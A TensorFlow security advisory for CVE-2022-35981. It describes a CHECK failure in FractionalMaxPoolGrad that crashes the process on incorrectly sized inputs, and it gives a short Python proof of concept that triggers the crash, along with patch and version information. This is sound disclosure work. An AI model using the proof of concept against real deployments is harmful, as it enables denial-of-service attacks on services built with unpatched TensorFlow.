1## TFSA-2022-110: `CHECK` fail in `FractionalMaxPoolGrad` 2 3### CVE Number 4CVE-2022-35981 5 6### Impact 7`FractionalMaxPoolGrad` validates its inputs with `CHECK` failures instead of with returning errors. If it gets incorrectly sized inputs, the `CHECK` failure can be used to trigger a denial of service attack: 8```python 9import tensorflow as tf 10 11overlapping = True 12orig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) 13orig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) 14out_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) 15row_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) 16col_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) 17tf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping) 18``` 19 20### Patches 21We have patched the issue in GitHub commit [8741e57d163a079db05a7107a7609af70931def4](https://github.com/tensorflow/tensorflow/commit/8741e57d163a079db05a7107a7609af70931def4). 22 23The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. 24 25 26### For more information 27Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. 28 29 30### Attribution 31This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University. 32